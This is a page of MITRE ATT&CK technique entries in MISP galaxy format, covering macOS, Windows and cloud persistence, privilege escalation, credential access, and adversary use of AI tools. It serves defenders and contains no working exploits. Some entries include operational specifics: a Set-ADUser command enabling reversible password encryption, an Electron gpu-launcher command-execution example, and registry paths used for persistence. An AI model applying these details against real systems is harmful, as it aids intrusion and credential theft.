For example, adversaries can use Finder, which has FDA permissions by default, to execute malicious AppleScript while preventing a user prompt. For a system without System Integrity Protection (SIP) enabled, adversaries have also manipulated the operating system to load an adversary controlled TCC database using environment variables and Launchctl.(Citation: TCC macOS bypass)(Citation: TCC Database)
Adversaries may also opt to instead inject code (e.g., Process Injection) into targeted applications with the desired TCC permissions.
Internal MISP references
UUID e8a0a025-3601-4755-abfb-8d08283329fb which can be used as unique global reference for TCC Manipulation - T1548.006 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1548/006 - webarchive
- https://interpressecurity.com/resources/return-of-the-macos-tcc/ - webarchive
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/ - webarchive
- https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1548.006 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-macOS:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Web Services - T1584.006
Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing.(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.
Internal MISP references
UUID ae797531-3219-49a4-bccf-324ad7a4c7b2 which can be used as unique global reference for Web Services - T1584.006 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1584.006 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
AppCert DLLs - T1546.009
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)
Similar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.
Internal MISP references
UUID 7d57b371-10c2-45e5-b3cc-83a8fb380e4c which can be used as unique global reference for AppCert DLLs - T1546.009 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1546/009 - webarchive
- https://forum.sysinternals.com/appcertdlls_topic12546.html - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.009 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Resource Forking - T1564.009
Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)
Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)
Internal MISP references
UUID b22e5153-ac28-4cc6-865c-2054e36285cb which can be used as unique global reference for Resource Forking - T1564.009 in MISP communities and other software using the MISP galaxy
External references
- http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553 - webarchive
- https://attack.mitre.org/techniques/T1564/009 - webarchive
- https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html - webarchive
- https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/ - webarchive
- https://flylib.com/books/en/4.395.1.192/1/ - webarchive
- https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.009 |
| kill_chain | ['attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Metadata', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
LSASS Driver - T1547.008
Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)
Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.
Internal MISP references
UUID f0589bc3-a6ae-425a-a3d5-5659bfee07f4 which can be used as unique global reference for LSASS Driver - T1547.008 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1547/008 - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://technet.microsoft.com/library/cc961760.aspx - webarchive
- https://technet.microsoft.com/library/dn408187.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.008 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Driver: Driver Load', 'File: File Creation', 'File: File Modification', 'Module: Module Load'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Shortcut Modification - T1547.009
Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.
Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.
Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.
Internal MISP references
UUID 4ab929c6-ee2d-4fb5-aab4-b14be2ed7179 which can be used as unique global reference for Shortcut Modification - T1547.009 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.009 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Digital Certificates - T1588.004
Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.
Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.
Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)
After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.
Internal MISP references
UUID 19401639-28d0-4c3c-adcc-bc2ba22f6421 which can be used as unique global reference for Digital Certificates - T1588.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1588/004 - webarchive
- https://letsencrypt.org/docs/faq/ - webarchive
- https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/ - webarchive
- https://www.recordedfuture.com/cobalt-strike-servers/ - webarchive
- https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1588.004 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Certificate: Certificate Registration', 'Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Network Devices - T1584.008
Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment -- instead leveraging these devices to support additional targeting.
Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices.
Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)
Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.(Citation: Justice GRU 2024)
Internal MISP references
UUID 149b477f-f364-4824-b1b5-aa1d56115869 which can be used as unique global reference for Network Devices - T1584.008 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1584/008 - webarchive
- https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian - webarchive
- https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem - webarchive
- https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1584.008 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Spearphishing Voice - T1598.004
Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient.
All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or "vishing"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)
Victims may also receive phishing messages that direct them to call a phone number ("callback phishing") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)
Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.
Internal MISP references
UUID 6a5d222a-a7e0-4656-b110-782c33098289 which can be used as unique global reference for Spearphishing Voice - T1598.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1598.004 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Application Log: Application Log Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Password Managers - T1555.005
Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)
Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via Exploitation for Credential Access.(Citation: NVD CVE-2019-3610) Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)
Internal MISP references
UUID 315f51f0-6b03-4c1e-bfb2-84740afb8e21 which can be used as unique global reference for Password Managers - T1555.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1555/005 - webarchive
- https://github.com/GhostPack/KeeThief - webarchive
- https://nvd.nist.gov/vuln/detail/CVE-2019-3610 - webarchive
- https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware - webarchive
- https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf - webarchive
- https://www.ise.io/casestudies/password-manager-hacking/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1555.005 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Process: OS API Execution', 'Process: Process Access'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Reversible Encryption - T1556.005
An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)
If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:
- Encrypted password (
G$RADIUSCHAP) from the Active Directory user-structureuserParameters - 16 byte randomly-generated value (
G$RADIUSCHAPKEY) also fromuserParameters - Global LSA secret (
G$MSRADIUSCHAPKEY) - Static key hardcoded in the Remote Access Subauthentication DLL (
RASSFM.DLL)
With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)
An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory PowerShell module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.
Internal MISP references
UUID d50955c2-272d-4ac8-95da-10c29dda1c48 which can be used as unique global reference for Reversible Encryption - T1556.005 in MISP communities and other software using the MISP galaxy
External references
- http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html - webarchive
- http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html - webarchive
- https://adsecurity.org/?p=2053 - webarchive
- https://attack.mitre.org/techniques/T1556/005 - webarchive
- https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1556.005 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Windows:defense-evasion', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'Script: Script Execution', 'User Account: User Account Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Hybrid Identity - T1556.007
Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.
Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):
- Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud
- Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory
- Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD
AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges.
By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the AzureADConnectAuthenticationAgentService process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the Microsoft.IdentityServer.Servicehost configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)
In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)
Internal MISP references
UUID 54ca26f3-c172-4231-93e5-ccebcac2161f which can be used as unique global reference for Hybrid Identity - T1556.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1556/007 - webarchive
- https://blog.xpnsec.com/azuread-connect-for-redteam/ - webarchive
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn - webarchive
- https://o365blog.com/post/on-prem_admin/ - webarchive
- https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors - webarchive
- https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1556.007 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Azure-AD:credential-access', 'attack-SaaS:credential-access', 'attack-Google-Workspace:credential-access', 'attack-Office-365:credential-access', 'attack-IaaS:credential-access', 'attack-Windows:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Windows:persistence', 'attack-Azure-AD:persistence', 'attack-SaaS:persistence', 'attack-Google-Workspace:persistence', 'attack-Office-365:persistence', 'attack-IaaS:persistence'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'File: File Modification', 'Logon Session: Logon Session Creation', 'Module: Module Load'] |
| mitre_platforms | ['Windows', 'Azure AD', 'SaaS', 'Google Workspace', 'Office 365', 'IaaS'] |
Related clusters
To see the related clusters, click here.
Scan Databases - T1596.005
Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)
Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).
Internal MISP references
UUID ec4be82f-940c-4dcb-87fe-2bbdd17c692f which can be used as unique global reference for Scan Databases - T1596.005 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1596.005 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Artificial Intelligence - T1588.007
Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI)
For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads.(Citation: OpenAI-CTI)
Internal MISP references
UUID 0cc222f5-c3ff-48e6-9f52-3314baf9d37e which can be used as unique global reference for Artificial Intelligence - T1588.007 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1588.007 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Electron Applications - T1218.015
Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)
Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of teams.exe and chrome.exe may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe).(Citation: Electron 6-8)
Adversaries may also execute malicious content by planting malicious JavaScript within Electron applications.(Citation: Electron Security)
Internal MISP references
UUID 561ae9aa-c28a-4144-9eec-e7027a14c8c3 which can be used as unique global reference for Electron Applications - T1218.015 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/015 - webarchive
- https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf - webarchive
- https://www.electronjs.org/docs/latest/tutorial/using-native-node-modules - webarchive
- https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLP-CLEAR-Horejsi-Abusing-Electron-Based-Applications-in-Targeted-Attacks.pdf - webarchive
- https://www.kaspersky.com/blog/electron-framework-security-issues/49035/ - webarchive
- https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.015 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux'] |
Related clusters
To see the related clusters, click here.
Application Shimming - T1546.011
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)
Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
%WINDIR%\AppPatch\sysmain.sdbandhklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb
Custom databases are stored in:
%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Customandhklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).
Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.
Internal MISP references
UUID 42fe883a-21ea-4cfb-b94a-78b6476dcc83 which can be used as unique global reference for Application Shimming - T1546.011 in MISP communities and other software using the MISP galaxy
External references
- http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf - webarchive
- https://attack.mitre.org/techniques/T1546/011 - webarchive
- https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.011 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Plist Modification - T1547.011
Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)
Internal MISP references
UUID 6747daa2-3533-4e78-8fb8-446ebb86448a which can be used as unique global reference for Plist Modification - T1547.011 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.011 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Print Processors - T1547.012
Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot.(Citation: Microsoft Intro Print Processors)
Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\[CurrentControlSet or ControlSet001]\Control\Print\Environments\[Windows architecture: e.g., Windows x64]\Print Processors\[user defined]\Driver Registry key that points to the DLL.
For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)
The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.
Internal MISP references
UUID 2de47683-f398-448f-b947-9abcc3e32fad which can be used as unique global reference for Print Processors - T1547.012 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1547/012 - webarchive
- https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor - webarchive
- https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors - webarchive
- https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.012 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Driver: Driver Load', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
PowerShell Profile - T1546.013
Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.
PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)
Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)
Internal MISP references
